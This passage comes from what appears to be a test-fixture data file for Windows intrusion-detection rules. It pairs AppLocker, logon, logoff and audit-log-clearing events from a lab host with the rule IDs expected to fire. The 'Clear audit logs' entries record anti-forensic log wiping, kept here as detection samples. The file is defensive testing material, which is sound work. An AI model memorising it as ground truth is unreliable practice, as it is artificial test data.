"win.ruleAndFileData.ruleId", "win.ruleAndFileData.ruleName", "win.ruleAndFileData.ruleNameLength", "win.ruleAndFileData.ruleSddl", "win.ruleAndFileData.ruleSddlLength", "win.ruleAndFileData.targetProcessId", "win.ruleAndFileData.targetUser", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67019", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Applocker packaged UI execution allowed"} +{"log": "{\"win\":{\"system\":{\"eventID\":\"8021\",\"keywords\":\"0x2000000000000000\",\"providerGuid\":\"{cbda4dbf-8d5d-4f69-9578-be14aa540d22}\",\"level\":\"2\",\"channel\":\"Microsoft-Windows-AppLocker/Packaged app-Execution\",\"opcode\":\"0\",\"message\":\"\\\"\\\\??\\\\C:\\\\Program Files\\\\WindowsApps\\\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\\\app\\\\WhatsApp.exe was prevented from running.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-16T18:39:16.1843343Z\",\"eventRecordID\":\"41\",\"threadID\":\"4120\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"0\",\"processID\":\"1276\",\"severityValue\":\"WARNING\",\"providerName\":\"Microsoft-Windows-AppLocker\"},\"ruleAndFileData\":{\"targetProcessId\":\"5788\",\"package\":\"\\\\\\\\??\\\\\\\\C:\\\\\\\\Program Files\\\\\\\\WindowsApps\\\\\\\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\\\\\\\app\\\\\\\\WhatsApp.exe\",\"ruleNameLength\":\"44\",\"policyName\":\"Appx\",\"policyNameLength\":\"4\",\"fqbn\":\"CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\\\\\5319275A.WHATSAPPDESKTOP\\\\\\\\WHATSAPP\\\\\\\\2.2228.14.00\",\"ruleSddl\":\"D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({\\\\\\\"CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\\\\\5319275A.WHATSAPPDESKTOP\\\\\\\\*\\\\\\\",0}))))\",\"fqbnLength\":\"86\",\"ruleName\":\"5319275A.WhatsAppDesktop, from WhatsApp Inc.\",\"packageLength\":\"105\",\"ruleId\":\"{a480952c-a710-4d92-b9a3-2fbff7c12866}\",\"ruleSddlLength\":\"142\",\"targetUser\":\"S-1-5-21-887924094-598891991-956377308-1146\"}}}", "decoder": "json", "parent": "", "fields": {"win.ruleAndFileData.fqbn": "CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\5319275A.WHATSAPPDESKTOP\\\\WHATSAPP\\\\2.2228.14.00", "win.ruleAndFileData.fqbnLength": "86", "win.ruleAndFileData.package": "\\\\??\\\\C:\\\\Program Files\\\\WindowsApps\\\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\\\app\\\\WhatsApp.exe", "win.ruleAndFileData.packageLength": "105", "win.ruleAndFileData.policyName": "Appx", "win.ruleAndFileData.policyNameLength": "4", "win.ruleAndFileData.ruleId": "{a480952c-a710-4d92-b9a3-2fbff7c12866}", "win.ruleAndFileData.ruleName": "5319275A.WhatsAppDesktop, from WhatsApp Inc.", "win.ruleAndFileData.ruleNameLength": "44", "win.ruleAndFileData.ruleSddl": "D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({\\\"CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\5319275A.WHATSAPPDESKTOP\\\\*\\\",0}))))", "win.ruleAndFileData.ruleSddlLength": "142", "win.ruleAndFileData.targetProcessId": "5788", "win.ruleAndFileData.targetUser": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Microsoft-Windows-AppLocker/Packaged app-Execution", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "8021", "win.system.eventRecordID": "41", "win.system.keywords": "0x2000000000000000", "win.system.level": "2", "win.system.message": "\"\\??\\C:\\Program Files\\WindowsApps\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\app\\WhatsApp.exe was prevented from running.\"", "win.system.opcode": "0", "win.system.processID": "1276", "win.system.providerGuid": "{cbda4dbf-8d5d-4f69-9578-be14aa540d22}", "win.system.providerName": "Microsoft-Windows-AppLocker", "win.system.severityValue": "WARNING", "win.system.systemTime": "2022-08-16T18:39:16.1843343Z", "win.system.task": "0", "win.system.threadID": "4120", "win.system.version": "0"}, "field_names": ["win.ruleAndFileData.fqbn", "win.ruleAndFileData.fqbnLength", "win.ruleAndFileData.package", "win.ruleAndFileData.packageLength", "win.ruleAndFileData.policyName", "win.ruleAndFileData.policyNameLength", "win.ruleAndFileData.ruleId", "win.ruleAndFileData.ruleName", "win.ruleAndFileData.ruleNameLength", "win.ruleAndFileData.ruleSddl", "win.ruleAndFileData.ruleSddlLength", "win.ruleAndFileData.targetProcessId", "win.ruleAndFileData.targetUser", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67020", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Applocker packaged UI execution would block"} +{"log": "{\"win\":{\"system\":{\"eventID\":\"8022\",\"keywords\":\"0x2000000000000000\",\"providerGuid\":\"{cbda4dbf-8d5d-4f69-9578-be14aa540d22}\",\"level\":\"2\",\"channel\":\"Microsoft-Windows-AppLocker/Packaged app-Execution\",\"opcode\":\"0\",\"message\":\"\\\"\\\\??\\\\C:\\\\Program Files\\\\WindowsApps\\\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\\\app\\\\WhatsApp.exe was prevented from running.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-16T18:39:16.1843343Z\",\"eventRecordID\":\"41\",\"threadID\":\"4120\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"0\",\"processID\":\"1276\",\"severityValue\":\"ERROR\",\"providerName\":\"Microsoft-Windows-AppLocker\"},\"ruleAndFileData\":{\"targetProcessId\":\"5788\",\"package\":\"\\\\\\\\??\\\\\\\\C:\\\\\\\\Program Files\\\\\\\\WindowsApps\\\\\\\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\\\\\\\app\\\\\\\\WhatsApp.exe\",\"ruleNameLength\":\"44\",\"policyName\":\"Appx\",\"policyNameLength\":\"4\",\"fqbn\":\"CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\\\\\5319275A.WHATSAPPDESKTOP\\\\\\\\WHATSAPP\\\\\\\\2.2228.14.00\",\"ruleSddl\":\"D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({\\\\\\\"CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\\\\\5319275A.WHATSAPPDESKTOP\\\\\\\\*\\\\\\\",0}))))\",\"fqbnLength\":\"86\",\"ruleName\":\"5319275A.WhatsAppDesktop, from WhatsApp Inc.\",\"packageLength\":\"105\",\"ruleId\":\"{a480952c-a710-4d92-b9a3-2fbff7c12866}\",\"ruleSddlLength\":\"142\",\"targetUser\":\"S-1-5-21-887924094-598891991-956377308-1146\"}}}", "decoder": "json", "parent": "", "fields": {"win.ruleAndFileData.fqbn": "CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\5319275A.WHATSAPPDESKTOP\\\\WHATSAPP\\\\2.2228.14.00", "win.ruleAndFileData.fqbnLength": "86", "win.ruleAndFileData.package": "\\\\??\\\\C:\\\\Program Files\\\\WindowsApps\\\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\\\app\\\\WhatsApp.exe", "win.ruleAndFileData.packageLength": "105", "win.ruleAndFileData.policyName": "Appx", "win.ruleAndFileData.policyNameLength": "4", "win.ruleAndFileData.ruleId": "{a480952c-a710-4d92-b9a3-2fbff7c12866}", "win.ruleAndFileData.ruleName": "5319275A.WhatsAppDesktop, from WhatsApp Inc.", "win.ruleAndFileData.ruleNameLength": "44", "win.ruleAndFileData.ruleSddl": "D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({\\\"CN=24803D75-212C-471A-BC57-9EF86AB91435\\\\5319275A.WHATSAPPDESKTOP\\\\*\\\",0}))))", "win.ruleAndFileData.ruleSddlLength": "142", "win.ruleAndFileData.targetProcessId": "5788", "win.ruleAndFileData.targetUser": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Microsoft-Windows-AppLocker/Packaged app-Execution", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "8022", "win.system.eventRecordID": "41", "win.system.keywords": "0x2000000000000000", "win.system.level": "2", "win.system.message": "\"\\??\\C:\\Program Files\\WindowsApps\\5319275A.WhatsAppDesktop_2.2228.14.0_x64__cv1g1gvanyjgm\\app\\WhatsApp.exe was prevented from running.\"", "win.system.opcode": "0", "win.system.processID": "1276", "win.system.providerGuid": "{cbda4dbf-8d5d-4f69-9578-be14aa540d22}", "win.system.providerName": "Microsoft-Windows-AppLocker", "win.system.severityValue": "ERROR", "win.system.systemTime": "2022-08-16T18:39:16.1843343Z", "win.system.task": "0", "win.system.threadID": "4120", "win.system.version": "0"}, "field_names": ["win.ruleAndFileData.fqbn", "win.ruleAndFileData.fqbnLength", "win.ruleAndFileData.package", "win.ruleAndFileData.packageLength", "win.ruleAndFileData.policyName", "win.ruleAndFileData.policyNameLength", "win.ruleAndFileData.ruleId", "win.ruleAndFileData.ruleName", "win.ruleAndFileData.ruleNameLength", "win.ruleAndFileData.ruleSddl", "win.ruleAndFileData.ruleSddlLength", "win.ruleAndFileData.targetProcessId", "win.ruleAndFileData.targetUser", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "67021", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Applocker packaged UI execution blocked"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"subjectDomainName\":\"EXCHANGETEST\",\"targetLinkedLogonId\":\"0x24cf93a\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"127.0.0.1\",\"authenticationPackageName\":\"Negotiate\",\"workstationName\":\"HRMANAGER\",\"targetLogonId\":\"0x24cfb29\",\"logonProcessName\":\"User32\",\"logonGuid\":\"{00000000-0000-0000-0000-000000000000}\",\"targetUserName\":\"AtomicRed\",\"keyLength\":\"0\",\"elevatedToken\":\"%%1843\",\"subjectUserSid\":\"S-1-5-18\",\"processId\":\"0x4fc\",\"processName\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"ipPort\":\"0\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\",\"virtualAccount\":\"%%1843\",\"logonType\":\"11\",\"subjectUserName\":\"HRMANAGER$\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tHRMANAGER$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t11\\r\\n\\tRestricted Admin Mode:\\t-\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tNo\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x24CFB29\\r\\n\\tLinked Logon ID:\\t\\t0x24CF93A\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{00000000-0000-0000-0000-000000000000}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x4fc\\r\\n\\tProcess Name:\\t\\tC:\\\\Windows\\\\System32\\\\svchost.exe\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\tHRMANAGER\\r\\n\\tSource Network Address:\\t127.0.0.1\\r\\n\\tSource Port:\\t\\t0\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tUser32 \\r\\n\\tAuthentication Package:\\tNegotiate\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2022-08-16T19:12:59.3843446Z\",\"eventRecordID\":\"1430969\",\"threadID\":\"8232\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"716\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "Negotiate", "win.eventdata.elevatedToken": "%%1843", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "127.0.0.1", "win.eventdata.ipPort": "0", "win.eventdata.keyLength": "0", "win.eventdata.logonGuid": "{00000000-0000-0000-0000-000000000000}", "win.eventdata.logonProcessName": "User32", "win.eventdata.logonType": "11", "win.eventdata.processId": "0x4fc", "win.eventdata.processName": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "HRMANAGER$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLinkedLogonId": "0x24cf93a", "win.eventdata.targetLogonId": "0x24cfb29", "win.eventdata.targetUserName": "AtomicRed", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.eventdata.virtualAccount": "%%1843", "win.eventdata.workstationName": "HRMANAGER", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "1430969", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "716", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-16T19:12:59.3843446Z", "win.system.task": "12544", "win.system.threadID": "8232", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.processName", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.eventdata.workstationName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67022", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Local logons without network or service events"} +{"log": "{\"win\":{\"system\":{\"eventID\":\"1102\",\"keywords\":\"0x4020000000000000\",\"providerGuid\":\"{fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148}\",\"level\":\"4\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"The audit log was cleared.\\r\\nSubject:\\r\\n\\tSecurity ID:\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\tAtomicRed\\r\\n\\tDomain Name:\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t0x98D819\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-16T20:21:22.6597339Z\",\"eventRecordID\":\"1443557\",\"threadID\":\"7204\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"104\",\"processID\":\"740\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Eventlog\"},\"logFileCleared\":{\"subjectLogonId\":\"0x98d819\",\"subjectUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\",\"subjectDomainName\":\"EXCHANGETEST\",\"subjectUserName\":\"AtomicRed\"}}}", "decoder": "json", "parent": "", "fields": {"win.logFileCleared.subjectDomainName": "EXCHANGETEST", "win.logFileCleared.subjectLogonId": "0x98d819", "win.logFileCleared.subjectUserName": "AtomicRed", "win.logFileCleared.subjectUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1102", "win.system.eventRecordID": "1443557", "win.system.keywords": "0x4020000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "740", "win.system.providerGuid": "{fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148}", "win.system.providerName": "Microsoft-Windows-Eventlog", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-08-16T20:21:22.6597339Z", "win.system.task": "104", "win.system.threadID": "7204", "win.system.version": "0"}, "field_names": ["win.logFileCleared.subjectDomainName", "win.logFileCleared.subjectLogonId", "win.logFileCleared.subjectUserName", "win.logFileCleared.subjectUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "63103", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Clear audit logs"} +{"log": "{\"win\":{\"system\":{\"eventID\":\"104\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148}\",\"level\":\"4\",\"channel\":\"System\",\"opcode\":\"0\",\"message\":\"\\\"The Microsoft-Windows-AppLocker/Packaged app-Execution log file was cleared.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-16T19:33:39.4783921Z\",\"eventRecordID\":\"16408\",\"threadID\":\"9036\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"104\",\"processID\":\"740\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Eventlog\"},\"logFileCleared\":{\"subjectDomainName\":\"EXCHANGETEST\",\"channel\":\"Microsoft-Windows-AppLocker/Packaged app-Execution\",\"subjectUserName\":\"AtomicRed\"}}}", "decoder": "json", "parent": "", "fields": {"win.logFileCleared.channel": "Microsoft-Windows-AppLocker/Packaged app-Execution", "win.logFileCleared.subjectDomainName": "EXCHANGETEST", "win.logFileCleared.subjectUserName": "AtomicRed", "win.system.channel": "System", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "104", "win.system.eventRecordID": "16408", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.message": "\"The Microsoft-Windows-AppLocker/Packaged app-Execution log file was cleared.\"", "win.system.opcode": "0", "win.system.processID": "740", "win.system.providerGuid": "{fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148}", "win.system.providerName": "Microsoft-Windows-Eventlog", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2022-08-16T19:33:39.4783921Z", "win.system.task": "104", "win.system.threadID": "9036", "win.system.version": "0"}, "field_names": ["win.logFileCleared.channel", "win.logFileCleared.subjectDomainName", "win.logFileCleared.subjectUserName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "63104", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Clear logs"} +{"log": "{\"win\":{\"eventdata\":{\"targetLogonId\":\"0xa197f3\",\"targetUserName\":\"AtomicRed\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\"},\"system\":{\"eventID\":\"4647\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"User initiated logoff:\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0xA197F3\\r\\n\\r\\nThis event is generated when a logoff is initiated. No further user-initiated activity can occur. This event can be interpreted as a logoff event.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-12T19:52:58.2306502Z\",\"eventRecordID\":\"1284279\",\"threadID\":\"6972\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12545\",\"processID\":\"672\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLogonId": "0xa197f3", "win.eventdata.targetUserName": "AtomicRed", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4647", "win.system.eventRecordID": "1284279", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "672", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-12T19:52:58.2306502Z", "win.system.task": "12545", "win.system.threadID": "6972", "win.system.version": "0"}, "field_names": ["win.eventdata.targetDomainName", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60137", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "User initiated logoff"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"subjectDomainName\":\"EXCHANGETEST\",\"targetLinkedLogonId\":\"0x282141f\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"127.0.0.1\",\"authenticationPackageName\":\"Negotiate\",\"workstationName\":\"HRMANAGER\",\"targetLogonId\":\"0x2821d60\",\"logonProcessName\":\"User32\",\"logonGuid\":\"{00000000-0000-0000-0000-000000000000}\",\"targetUserName\":\"AtomicRed\",\"keyLength\":\"0\",\"elevatedToken\":\"%%1843\",\"subjectUserSid\":\"S-1-5-18\",\"processId\":\"0x4fc\",\"processName\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"ipPort\":\"0\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\",\"virtualAccount\":\"%%1843\",\"logonType\":\"11\",\"subjectUserName\":\"HRMANAGER$\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tHRMANAGER$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t11\\r\\n\\tRestricted Admin Mode:\\t-\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tNo\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x2821D60\\r\\n\\tLinked Logon ID:\\t\\t0x282141F\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{00000000-0000-0000-0000-000000000000}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x4fc\\r\\n\\tProcess Name:\\t\\tC:\\\\Windows\\\\System32\\\\svchost.exe\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\tHRMANAGER\\r\\n\\tSource Network Address:\\t127.0.0.1\\r\\n\\tSource Port:\\t\\t0\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tUser32 \\r\\n\\tAuthentication Package:\\tNegotiate\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2022-08-16T20:02:37.9423951Z\",\"eventRecordID\":\"1440430\",\"threadID\":\"1160\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"716\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "Negotiate", "win.eventdata.elevatedToken": "%%1843", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "127.0.0.1", "win.eventdata.ipPort": "0", "win.eventdata.keyLength": "0", "win.eventdata.logonGuid": "{00000000-0000-0000-0000-000000000000}", "win.eventdata.logonProcessName": "User32", "win.eventdata.logonType": "11", 